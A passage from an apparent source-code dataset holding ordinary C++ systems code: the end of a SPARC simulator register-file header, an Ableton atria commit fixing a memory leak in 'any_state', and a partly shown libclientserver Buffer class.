stick;\t\t\/\/ Hardware clock-tick counter\n uint64_t stick_cmpr;\t\/\/ Hardware tick compare registers\n\n\n \/* Privileged Registers *\/\n uint64_t tpc[MaxTL];\t\/\/ Trap Program Counter (value from\n \/\/ previous trap level)\n uint64_t tnpc[MaxTL];\t\/\/ Trap Next Program Counter (value from\n \/\/ previous trap level)\n uint64_t tstate[MaxTL];\t\/\/ Trap State\n uint16_t tt[MaxTL];\t\/\/ Trap Type (Type of trap which occured\n \/\/ on the previous level)\n uint64_t tba;\t\t\/\/ Trap Base Address\n\n uint16_t pstate;\t\/\/ Process State Register\n uint8_t tl;\t\t\/\/ Trap Level\n uint8_t pil;\t\t\/\/ Process Interrupt Register\n uint8_t cwp;\t\t\/\/ Current Window Pointer\n \/\/uint8_t cansave;\t\/\/ Savable windows\n \/\/uint8_t canrestore;\t\/\/ Restorable windows\n \/\/uint8_t cleanwin;\t\/\/ Clean windows\n \/\/uint8_t otherwin;\t\/\/ Other windows\n \/\/uint8_t wstate;\t\t\/\/ Window State\n uint8_t gl; \/\/ Global level register\n\n \/** Hyperprivileged Registers *\/\n uint64_t hpstate;\t\/\/ Hyperprivileged State Register\n uint64_t htstate[MaxTL];\/\/ Hyperprivileged Trap State Register\n uint64_t hintp;\n uint64_t htba;\t\t\/\/ Hyperprivileged Trap Base Address register\n uint64_t hstick_cmpr;\t\/\/ Hardware tick compare registers\n\n uint64_t strandStatusReg;\/\/ Per strand status register\n\n \/** Floating point misc registers. *\/\n uint64_t fsr;\t\t\/\/ Floating-Point State Register\n\n \/** MMU Internal Registers *\/\n uint16_t priContext;\n uint16_t secContext;\n uint16_t partId;\n uint64_t lsuCtrlReg;\n\n uint64_t iTlbC0TsbPs0;\n uint64_t iTlbC0TsbPs1;\n uint64_t iTlbC0Config;\n uint64_t iTlbCXTsbPs0;\n uint64_t iTlbCXTsbPs1;\n uint64_t iTlbCXConfig;\n uint64_t iTlbSfsr;\n uint64_t iTlbTagAccess;\n\n uint64_t dTlbC0TsbPs0;\n uint64_t dTlbC0TsbPs1;\n uint64_t dTlbC0Config;\n uint64_t dTlbCXTsbPs0;\n uint64_t dTlbCXTsbPs1;\n uint64_t dTlbCXConfig;\n uint64_t dTlbSfsr;\n uint64_t dTlbSfar;\n uint64_t dTlbTagAccess;\n\n uint64_t scratchPad[8];\n\n uint64_t cpu_mondo_head;\n uint64_t cpu_mondo_tail;\n uint64_t dev_mondo_head;\n uint64_t dev_mondo_tail;\n uint64_t res_error_head;\n uint64_t res_error_tail;\n uint64_t nres_error_head;\n uint64_t nres_error_tail;\n\n \/\/ These need to check the int_dis field and if 0 then\n \/\/ set appropriate bit in softint and checkinterrutps on the cpu\n#if FULL_SYSTEM\n void setFSRegWithEffect(int miscReg, const MiscReg &val,\n ThreadContext *tc);\n MiscReg readFSRegWithEffect(int miscReg, ThreadContext * tc);\n\n \/\/ Update interrupt state on softint or pil change\n void checkSoftInt(ThreadContext *tc);\n\n \/** Process a tick compare event and generate an interrupt on the cpu if\n * appropriate. *\/\n void processTickCompare(ThreadContext *tc);\n void processSTickCompare(ThreadContext *tc);\n void processHSTickCompare(ThreadContext *tc);\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processTickCompare> TickCompareEvent;\n TickCompareEvent *tickCompare;\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processSTickCompare> STickCompareEvent;\n STickCompareEvent *sTickCompare;\n\n typedef CpuEventWrapper<MiscRegFile,\n &MiscRegFile::processHSTickCompare> HSTickCompareEvent;\n HSTickCompareEvent *hSTickCompare;\n#endif\n public:\n\n void clear();\n\n MiscRegFile()\n {\n clear();\n }\n\n MiscReg readReg(int miscReg);\n\n MiscReg readRegWithEffect(int miscReg, ThreadContext *tc);\n\n void setReg(int miscReg, const MiscReg &val);\n\n void setRegWithEffect(int miscReg,\n const MiscReg &val, ThreadContext * tc);\n\n int getInstAsid()\n {\n return priContext | (uint32_t)partId << 13;\n }\n\n int getDataAsid()\n {\n return priContext | (uint32_t)partId << 13;\n }\n\n void serialize(std::ostream & os);\n\n void unserialize(Checkpoint * cp, const std::string & section);\n\n void copyMiscRegs(ThreadContext * tc);\n\n protected:\n\n bool isHyperPriv() { return (hpstate & (1 << 2)); }\n bool isPriv() { return (hpstate & (1 << 2)) || (pstate & (1 << 2)); }\n bool isNonPriv() { return !isPriv(); }\n };\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (C) 2014, 2015 Ableton AG, Berlin. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\n\/*!\n * @file\n *\/\n\n#pragma once\n\n#include <atria\/xform\/config.hpp>\n#include <atria\/xform\/state_traits.hpp>\n#include <atria\/estd\/memory.hpp>\n#include <atria\/meta\/pack.hpp>\n#include <string>\n#include <stdexcept>\n\n#if ABL_TRACE_ANY_STATE_ALLOC\n#include <iostream>\n#endif\n\nnamespace atria {\nnamespace xform {\n\n\/*!\n * Polymorphically holds any value implementing the `state_traits`.\n * This type is used for the implementation of `transducer`.\n *\/\nclass any_state\n{\npublic:\n any_state() noexcept\n : data_(reinterpret_cast<char*>(&null_holder_))\n , size_(0)\n {}\n\n ~any_state() noexcept {\n if (size_) {\n content()->~holder_base();\n delete [] data_;\n }\n }\n\n any_state(any_state&& other)\n : data_(other.data_)\n {\n auto size = other.size_;\n other.size_ = 0;\n size_ = size;\n }\n\n any_state(const any_state& other)\n : data_(new char[other.size_])\n , size_(other.size_)\n {\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-c\" << std::endl;\n#endif\n other.content()->clone(data_);\n }\n\n template<typename ValueType>\n any_state(ValueType&& value,\n estd::enable_if_t<\n !std::is_base_of<any_state,\n estd::decay_t<ValueType> >::value &&\n !std::is_base_of<meta::bottom,\n estd::decay_t<ValueType> >::value\n >* = 0)\n : data_(new char[sizeof(holder<estd::decay_t<ValueType> >)])\n , size_(sizeof(holder<estd::decay_t<ValueType> >))\n {\n new (data_) holder<estd::decay_t<ValueType> >(\n std::forward<ValueType>(value));\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-n \" << typeid(estd::decay_t<ValueType>).name() << std::endl;\n#endif\n }\n\n any_state& operator=(any_state&& other)\n {\n data_ = other.data_;\n size_ = other.size_;\n other.size_ = 0;\n return *this;\n }\n\n any_state& operator=(const any_state& rhs)\n {\n if (&rhs != this) {\n realloc_(rhs.content()->size());\n rhs.content()->clone(data_);\n }\n return *this;\n }\n\n template <typename ValueType>\n auto operator=(ValueType&& rhs)\n -> estd::enable_if_t<\n !std::is_base_of<any_state, estd::decay_t<ValueType> >::value,\n any_state&>\n {\n realloc_(sizeof(holder<estd::decay_t<ValueType> >));\n new (data_) holder<estd::decay_t<ValueType> >(\n std::forward<ValueType>(rhs));\n return *this;\n }\n\n template <typename T>\n estd::decay_t<T>& as() &\n { return as_impl(meta::pack<estd::decay_t<T> >{}); }\n\n template <typename T>\n estd::decay_t<T>&& as() &&\n { return std::move(as_impl(meta::pack<estd::decay_t<T> >{})); }\n\n template <typename T>\n const estd::decay_t<T>& as() const& {\n return const_cast<any_state*>(this)->as_impl(\n meta::pack<estd::decay_t<T> >{});\n }\n\n template <typename T>\n void check() const {\n if (!has<T>()) {\n throw std::runtime_error(\n std::string(\"Have \") + type().name() +\n \", but expect \" + typeid(estd::decay_t<T>).name());\n }\n }\n\n template <typename T>\n bool has() const {\n return has_impl(meta::pack<estd::decay_t<T> >{});\n }\n\n const std::type_info& type() const noexcept {\n return content()->type();\n }\n\nprivate:\n void realloc_(std::size_t size) {\n if (size_ > 0)\n content()->~holder_base();\n if (size_ < size) {\n if (size_ > 0)\n delete [] data_;\n data_ = new char[size];\n size_ = size;\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-r\" << std::endl;\n#endif\n }\n }\n\n template <typename T>\n T& as_impl(meta::pack<T>) {\n#if ABL_SAFE_ANY_STATE\n check<T>();\n#endif\n return reinterpret_cast<holder<T>*>(data_)->held;\n }\n\n any_state& as_impl(meta::pack<any_state>) {\n return *this;\n }\n\n template <typename T>\n bool has_impl(meta::pack<T>) const {\n return content()->type() == typeid(T);\n }\n\n bool has_impl(meta::pack<any_state>) const {\n return true;\n }\n\n friend struct state_traits<any_state>;\n\n struct holder_base\n {\n virtual ~holder_base();\n virtual const std::type_info& type() const noexcept = 0;\n virtual void clone(char* data) const = 0;\n virtual void move(char* data) const = 0;\n virtual any_state complete() const = 0;\n virtual bool is_reduced() const = 0;\n virtual any_state unwrap() const = 0;\n virtual any_state unwrap_all() const = 0;\n virtual any_state rewrap(any_state) const = 0;\n virtual any_state data() const = 0;\n virtual std::size_t size() const = 0;\n };\n\n template <typename T>\n struct holder : holder_base\n {\n T held;\n\n template <typename TT>\n holder(TT&& x) : held(std::forward<TT>(x)) {}\n\n const std::type_info& type() const noexcept override\n { return typeid(T); }\n\n void clone(char* data) const override\n { new (data) holder<T>(held); }\n\n void move(char* data) const override\n { new (data) holder<T>(std::move(held)); }\n\n any_state complete() const override\n { return state_complete(held); }\n\n bool is_reduced() const override\n { return state_is_reduced(held); }\n\n any_state unwrap() const override\n { return state_unwrap(held); }\n\n any_state unwrap_all() const override\n { return state_unwrap_all(held); }\n\n any_state rewrap(any_state x) const override\n { return state_rewrap(held, std::move(x)); }\n\n any_state data() const override\n { return state_data(held, [] { return any_state{}; }); }\n\n std::size_t size() const override\n { return sizeof(T); }\n };\n\n struct null_holder : holder_base\n {\n virtual ~null_holder();\n\n const std::type_info& type() const noexcept override\n { return typeid(void); }\n\n void clone(char* data) const override { new (data) null_holder; }\n void move(char* data) const override { new (data) null_holder; }\n any_state complete() const override { return {}; }\n bool is_reduced() const override { return false; }\n any_state unwrap() const override { return {}; }\n any_state unwrap_all() const override { return {}; }\n any_state rewrap(any_state x) const override { return x; }\n any_state data() const override { return {}; }\n std::size_t size() const override { return 0; }\n };\n\n holder_base* content() const { return reinterpret_cast<holder_base*>(data_); }\n\n char* data_;\n std::size_t size_;\n\n static null_holder null_holder_;\n};\n\ntemplate <>\nstruct state_traits<any_state>\n{\n template <typename T>\n static auto complete(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->complete())\n\n template <typename T>\n static auto is_reduced(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->is_reduced())\n\n template <typename T>\n static auto unwrap(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->unwrap())\n\n template <typename T>\n static auto unwrap_all(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->unwrap_all())\n\n template <typename T, typename U>\n static auto rewrap(T&& t, U&& x)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->rewrap(std::forward<U>(x)))\n\n template <typename T, typename D>\n static auto data(T&& t, D&& d)\n -> estd::decay_t<decltype(std::forward<D>(d)())>\n {\n using data_t = estd::decay_t<decltype(std::forward<D>(d)())>;\n auto data = t.content()->data();\n return data.template has<data_t>()\n ? data.template as<data_t>()\n : std::forward<D>(d)();\n }\n};\n\n} \/\/ namespace xform\n} \/\/ namespace atria\n<commit_msg>xform: fix `any_state` would sometimes leak memory<commit_after>\/\/\n\/\/ Copyright (C) 2014, 2015 Ableton AG, Berlin. All rights reserved.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a\n\/\/ copy of this software and associated documentation files (the \"Software\"),\n\/\/ to deal in the Software without restriction, including without limitation\n\/\/ the rights to use, copy, modify, merge, publish, distribute, sublicense,\n\/\/ and\/or sell copies of the Software, and to permit persons to whom the\n\/\/ Software is furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n\/\/ DEALINGS IN THE SOFTWARE.\n\/\/\n\n\/*!\n * @file\n *\/\n\n#pragma once\n\n#include <atria\/xform\/config.hpp>\n#include <atria\/xform\/state_traits.hpp>\n#include <atria\/estd\/memory.hpp>\n#include <atria\/meta\/pack.hpp>\n#include <string>\n#include <stdexcept>\n\n#if ABL_TRACE_ANY_STATE_ALLOC\n#include <iostream>\n#endif\n\nnamespace atria {\nnamespace xform {\n\n\/*!\n * Polymorphically holds any value implementing the `state_traits`.\n * This type is used for the implementation of `transducer`.\n *\/\nclass any_state\n{\npublic:\n any_state() noexcept\n : data_(reinterpret_cast<char*>(&null_holder_))\n , size_(0)\n {}\n\n ~any_state() noexcept {\n if (size_) {\n content()->~holder_base();\n delete [] data_;\n }\n }\n\n any_state(any_state&& other)\n : data_(other.data_)\n , size_{}\n {\n using std::swap;\n swap(size_, other.size_);\n }\n\n any_state(const any_state& other)\n : data_(other.size_ ? new char[other.size_] : nullptr)\n , size_(other.size_)\n {\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-c\" << std::endl;\n#endif\n other.content()->clone(data_);\n }\n\n template<typename ValueType>\n any_state(ValueType&& value,\n estd::enable_if_t<\n !std::is_base_of<any_state,\n estd::decay_t<ValueType> >::value &&\n !std::is_base_of<meta::bottom,\n estd::decay_t<ValueType> >::value\n >* = 0)\n : data_(new char[sizeof(holder<estd::decay_t<ValueType> >)])\n , size_(sizeof(holder<estd::decay_t<ValueType> >))\n {\n new (data_) holder<estd::decay_t<ValueType> >(\n std::forward<ValueType>(value));\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-n \" << typeid(estd::decay_t<ValueType>).name() << std::endl;\n#endif\n }\n\n any_state& operator=(any_state&& other)\n {\n using std::swap;\n swap(data_, other.data_);\n swap(size_, other.size_);\n return *this;\n }\n\n any_state& operator=(const any_state& rhs)\n {\n if (&rhs != this) {\n realloc_(rhs.content()->size());\n rhs.content()->clone(data_);\n }\n return *this;\n }\n\n template <typename ValueType>\n auto operator=(ValueType&& rhs)\n -> estd::enable_if_t<\n !std::is_base_of<any_state, estd::decay_t<ValueType> >::value,\n any_state&>\n {\n realloc_(sizeof(holder<estd::decay_t<ValueType> >));\n new (data_) holder<estd::decay_t<ValueType> >(\n std::forward<ValueType>(rhs));\n return *this;\n }\n\n template <typename T>\n estd::decay_t<T>& as() &\n { return as_impl(meta::pack<estd::decay_t<T> >{}); }\n\n template <typename T>\n estd::decay_t<T>&& as() &&\n { return std::move(as_impl(meta::pack<estd::decay_t<T> >{})); }\n\n template <typename T>\n const estd::decay_t<T>& as() const& {\n return const_cast<any_state*>(this)->as_impl(\n meta::pack<estd::decay_t<T> >{});\n }\n\n template <typename T>\n void check() const {\n if (!has<T>()) {\n throw std::runtime_error(\n std::string(\"Have \") + type().name() +\n \", but expect \" + typeid(estd::decay_t<T>).name());\n }\n }\n\n template <typename T>\n bool has() const {\n return has_impl(meta::pack<estd::decay_t<T> >{});\n }\n\n const std::type_info& type() const noexcept {\n return content()->type();\n }\n\nprivate:\n void realloc_(std::size_t size) {\n if (size_ > 0)\n content()->~holder_base();\n if (size_ < size) {\n if (size_ > 0)\n delete [] data_;\n data_ = new char[size];\n size_ = size;\n#if ABL_TRACE_ANY_STATE_ALLOC\n std::cout << \"alloc-r\" << std::endl;\n#endif\n }\n }\n\n template <typename T>\n T& as_impl(meta::pack<T>) {\n#if ABL_SAFE_ANY_STATE\n check<T>();\n#endif\n return reinterpret_cast<holder<T>*>(data_)->held;\n }\n\n any_state& as_impl(meta::pack<any_state>) {\n return *this;\n }\n\n template <typename T>\n bool has_impl(meta::pack<T>) const {\n return content()->type() == typeid(T);\n }\n\n bool has_impl(meta::pack<any_state>) const {\n return true;\n }\n\n friend struct state_traits<any_state>;\n\n struct holder_base\n {\n virtual ~holder_base();\n virtual const std::type_info& type() const noexcept = 0;\n virtual void clone(char* data) const = 0;\n virtual void move(char* data) const = 0;\n virtual any_state complete() const = 0;\n virtual bool is_reduced() const = 0;\n virtual any_state unwrap() const = 0;\n virtual any_state unwrap_all() const = 0;\n virtual any_state rewrap(any_state) const = 0;\n virtual any_state data() const = 0;\n virtual std::size_t size() const = 0;\n };\n\n template <typename T>\n struct holder : holder_base\n {\n T held;\n\n template <typename TT>\n holder(TT&& x) : held(std::forward<TT>(x)) {}\n\n const std::type_info& type() const noexcept override\n { return typeid(T); }\n\n void clone(char* data) const override\n { new (data) holder<T>(held); }\n\n void move(char* data) const override\n { new (data) holder<T>(std::move(held)); }\n\n any_state complete() const override\n { return state_complete(held); }\n\n bool is_reduced() const override\n { return state_is_reduced(held); }\n\n any_state unwrap() const override\n { return state_unwrap(held); }\n\n any_state unwrap_all() const override\n { return state_unwrap_all(held); }\n\n any_state rewrap(any_state x) const override\n { return state_rewrap(held, std::move(x)); }\n\n any_state data() const override\n { return state_data(held, [] { return any_state{}; }); }\n\n std::size_t size() const override\n { return sizeof(T); }\n };\n\n struct null_holder : holder_base\n {\n virtual ~null_holder();\n\n const std::type_info& type() const noexcept override\n { return typeid(void); }\n\n void clone(char* data) const override { new (data) null_holder; }\n void move(char* data) const override { new (data) null_holder; }\n any_state complete() const override { return {}; }\n bool is_reduced() const override { return false; }\n any_state unwrap() const override { return {}; }\n any_state unwrap_all() const override { return {}; }\n any_state rewrap(any_state x) const override { return x; }\n any_state data() const override { return {}; }\n std::size_t size() const override { return 0; }\n };\n\n holder_base* content() const { return reinterpret_cast<holder_base*>(data_); }\n\n char* data_;\n std::size_t size_;\n\n static null_holder null_holder_;\n};\n\ntemplate <>\nstruct state_traits<any_state>\n{\n template <typename T>\n static auto complete(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->complete())\n\n template <typename T>\n static auto is_reduced(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->is_reduced())\n\n template <typename T>\n static auto unwrap(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->unwrap())\n\n template <typename T>\n static auto unwrap_all(T&& t)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->unwrap_all())\n\n template <typename T, typename U>\n static auto rewrap(T&& t, U&& x)\n -> ABL_DECLTYPE_RETURN(\n std::forward<T>(t).content()->rewrap(std::forward<U>(x)))\n\n template <typename T, typename D>\n static auto data(T&& t, D&& d)\n -> estd::decay_t<decltype(std::forward<D>(d)())>\n {\n using data_t = estd::decay_t<decltype(std::forward<D>(d)())>;\n auto data = t.content()->data();\n return data.template has<data_t>()\n ? data.template as<data_t>()\n : std::forward<D>(d)();\n }\n};\n\n} \/\/ namespace xform\n} \/\/ namespace atria\n<|endoftext|>"} {"text":"<commit_before>\n#include <libclientserver.h>\n\nBuffer::Buffer()\n{\n\tm_buffer_length = 8192;\n\tm_chunk_size = 65535;\n\tm_buffer_used = 0;\n\tm_buffer = NULL;\n\tm_max_size = 0;\n}\n\nBuffer::~Buffer()\n{\n\tfree(m_buffer);\n}\n\n\/**\n * @Init\n *\n * One of the Init functions or overloads must be called before using any other function in the class\n *\/\nint Buffer::Init()\n{\n\tm_buffer = (char *) malloc(m_buffer_length * sizeof(m_buffer));\n\tif (!m_buffer)\n\t\treturn -ENOMEM;\n\treturn 0;\n}\n\n\/**\n * @Init\n * @param[in] buflen This should be the initial size of memory allocated to the buffer\n *\n * One of the Init functions or overloads must be called before using any other function in the class\n *\/\nint Buffer::Init(size_t buflen)\n{\n\tm_buffer_length = buflen;\n\treturn Init();\n}\n\n\/**\n * @Read\n * @param[in] fd This should be the file descriptor to read from\n *\n * This function will attempt to read chunk size from the fd and populate the buffer contents with the data\n * If the buffer is going to exceed the max size it will return -ENOMEM\n * If the file has reached EOF -1 will be returned\n * If there is an error reading from the fd the approiate error code will be returned to indicte what the problem was.\n * In normal working cases without error's the length of the data read will be returned. This includes returning 0 if there was no data to read.\n *\/\nint Buffer::Read(int fd)\n{\n\tif (GetFreeSpace() < m_chunk_size)\n\t{\n\t\tif (ReSize(m_buffer_length + m_chunk_size) == false)\n\t\t{\n\t\t\treturn -ENOMEM;\n\t\t}\n\t}\n\n\tint ret = read(fd, m_buffer + m_buffer_used, m_chunk_size);\n\tif (ret < 0)\n\t{\n\t\tswitch(errno)\n\t\t{\n\t\t\tcase EAGAIN:\n\t\t\tcase EINTR:\n\t\t\t\treturn 0;\n\t\t\tdefault:\n\t\t\t\treturn -errno;\n\t\t}\n\t}\n\tif (ret == 0)\n\t\treturn -1;\n\tm_buffer_used += ret;\n\treturn ret;\n}\n\n\/**\n * Write\n * @param[in] fd The file descriptor to write to\n *\n * This function will attempt to write as much of the buffer as possible to the fd.\n * If an error occurs it will will return the approate error code to indicate what the error was.\n * If the function was able to write any data it will return the amount of data that was written to the fd\n *\/\nint Buffer::Write(int fd)\n{\n\tif (m_buffer_used == 0)\n\t\treturn 0;\n\n\tint ret = write(fd, m_buffer, m_buffer_used);\n\tif (ret > 0)\n\t{\n\t\tShift(ret);\n\t\treturn ret;\n\t}\n\tswitch(errno)\n\t{\n\t\tcase EAGAIN:\n\t\tcase EINTR:\n\t\t\treturn 0;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\treturn -errno;\n\t\t\tbreak;\n\t}\n\treturn -1;\n}\n\n\/**\n * WriteBuffered\n * @param[in] fd The file descriptor to write to\n * @param[in] buf The data to write\n * @param[in] length The amount of data to write from buf\n *\n * This functin will attempt to write as much data as it can to the file descriptor before it blocks.\n * Once it starts blocking it will then write the remaining part of the data to the buffer which can be written by calling Write(fd) later\n * If the initial write fails it will return the error that occured and will not attempt to write any data to either the fd or the buffer\n * If the buffers required more memory it is posisble for this function to file is there is a maximum buffer limit set. In which case it will fail with -NOBUFS\n * Under normal situations this function will always return the lgnth value passed\n *\/\nint Buffer::WriteBuffered(int fd, const char *buf, size_t length)\n{\n\tint ret = write(fd, buf, length);\n\tif (ret < 0)\n\t{\n\t\tswitch(errno)\n\t\t{\n\t\t\tcase EAGAIN:\n\t\t\tcase EINTR:\n\t\t\t\treturn PushData(buf, length);\n\t\t\tdefault:\n\t\t\t\treturn -errno;\n\t\t\t\tbreak;\n\t\t}\n\t}\n\tsize_t written = ret;\n\n\tif (written == length)\n\t\treturn length;\n\n\t\/\/Not all of it went to the socket to buffer it and say success to the caller\n\tret = PushData(&buf[written], length - written);\n\tif (ret < 0)\n\t\treturn ret;\n\tif ((size_t) ret != length - written)\n\t\treturn -ENOBUFS;\n\treturn length;\n}\n\n\/**\n * PushData\n * @param[in] buf The buffer to append the to the buffer contents\n * @param[in] length The length of the data\n *\n * This function will append the data to the buffer\n * It is possible to fail with eother a memory allocation issue or if the maxmimum buffer size is going to be exceeded\n *\/\nint Buffer::PushData(const char *buf, size_t length)\n{\n\tif (GetFreeSpace() < length)\n\t{\n\t\tif (ReSize(m_buffer_length + length) == false)\n\t\t{\n\t\t\treturn -ENOMEM;\n\t\t}\n\t}\n\tmemcpy(&m_buffer[m_buffer_used], buf, length);\n\tm_buffer_used += length;\n\treturn length;\n}\n\n\/**\n * PullData\n * @param[in] buf This will be populated by the data\n * @param[in] length The size of the buffer buf\n *\n * This function will read data from the front of the buffer and populate as much as possible in buf\n * If the passed buf is larger than the data stored in the buffer then the return value will indicate how much data was copied ot buf\n *\/\nint Buffer::PullData(char *buf, size_t length)\n{\n\tint len = length;\n\tif (m_buffer_used < length)\n\t\tlen = m_buffer_used;\n\tmemcpy(buf, m_buffer, len);\n\tShift(len);\n\treturn len;\n}\n\n\/**\n * Clear\n *\n * This function will mark the buffer as empty as if it has no data in it\n *\/\nvoid Buffer::Clear()\n{\n\tm_buffer_used = 0;\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str)\n{\n\treturn GetLine(str, '\\n');\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] term This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const char term)\n{\n\tif (GetDataLength() == 0)\n\t\treturn false;\n\n\tchar *lf = (char *) memchr(m_buffer, term, m_buffer_used);\n\tif (lf == NULL)\n\t\treturn false;\n\t*lf = 0; \/\/Add NULL Terminator\n\n\t*str = m_buffer;\n\n\tsize_t Offset = lf - m_buffer + 1;\n\tShift(Offset);\n\treturn true;\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] ending This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const std::string &ending)\n{\n\treturn GetLine(str, ending.c_str());\n}\n\n\/*\n * GetLine\n * @param[in] str This will be modified to contain the next line found in the buffer\n * @param[in] ending This will be used to specifiy the end of line marker to look for in the buffer\n *\n * This function will attempt to scan the buffer and return the first line of text found in the buffer\n * If it finds a line of text then true will be returned. It will return false if it the buffer does nto contain a full line\n *\/\nbool Buffer::GetLine(std::string *str, const char *ending)\n{\n\tif (GetDataLength() == 0)\n\t\treturn false;\n\n\tchar *lf = (char *) memmem(m_buffer, m_buffer_used, ending, strlen(ending));\n\tif (lf == NULL)\n\t\treturn false;\n\t*lf = 0; \/\/Add NULL Terminator\n\n\t*str = m_buffer;\n\n\tsize_t Offset = lf - m_buffer + 1;\n\tShift(Offset);\n\treturn true;\n}\n\n\/**\n * Shift\n * @param[in] size The amount of data to remove from the front of the buffer\n *\n * This will rmeove the size of bytes from the front of the buffer. If you attempt to remove more data that exists in the buffer abort will be called.\n *\/\nvoid Buffer::Shift(size_t size)\n{\n\tif (size == 0)\n\t\treturn;\n\tif (m_buffer_used == 0)\n\t\tabort();\n\tif (size > m_buffer_used)\n\t\tabort();\n\tif (size == m_buffer_used)\n\t{\n\t\tm_buffer_used = 0;\n\t\treturn;\n\t}\n\tmemmove(m_buffer, m_buffer + size, m_buffer_used);\n\tm_buffer_used -= size;\n}\n\n\/**\n * GetPtr\n *\n * This function return a raw value to a buffer. Beaware that calling other functions can invalidate this pointer as the memory block may be relocated to a different area.\n *\/\nvoid *Buffer::GetPtr()\n{\n\treturn m_buffer;\n}\n\n\/**\n * GetDataLength\n *\n * This function will return the number of bytes stored in the buffer\n *\/\nsize_t Buffer::GetDataLength()\n{\n\treturn m_buffer_used;\n}\n\n\/**\n * GetFreeSpace\n *\n * This function will return the number of free bytes in the buffer before the buffer would need to be expanded to use more data\n *\/\nsize_t Buffer::GetFreeSpace()\n{\n\treturn m_buffer_length - m_buffer_used;\n}\n\n\/**\n * GetTotalSpace\n *\n * This function returns the total space of the allocated buffer\n *\/\nsize_t Buffer::GetTotalSpace()\n{\n\treturn m_buffer_length;\n}\n\n\/**\n * SetChunkSize\n * @param[in] size Value to store\n *\n * After setting this value it will be used to perform io on the Read function when attempting to read data\n *\/\nvoid Buffer::SetChunkSize(size_t size)\n{\n\tm_chunk_size = size;\n}\n\n\/**\n * GetChunkSize\n *\n * Opposite of SetChunkSize\n *\/\nsize_t Buffer::GetChunkSize()\n{\n\treturn m_chunk_size;\n}\n\n\/**\n * SetMaxSize\n * @param[in] size Set the maximum size of the buffer\n *\n * This will set the enforced limit of how big the buffer can grow.\n * This function can fail if a limit is placed but there is currently data in the buffer bigger than the new limit\n * Calling with a value of 0 will impose no limit on the buffer and no reallocation will be attempted\n *\/\nint Buffer::SetMaxSize(size_t size)\n{\n\tif (size == 0)\n\t\tm_max_size = 0;\n\tif (m_buffer_length > size)\n\t{\n\t\tif (Shrink() == false)\n\t\t{\n\t\t\treturn -1;\n\t\t}\n\t}\n\tif (m_buffer_length > size)\n\t{\n\t\treturn -1;\n\t}\n\tm_max_size = 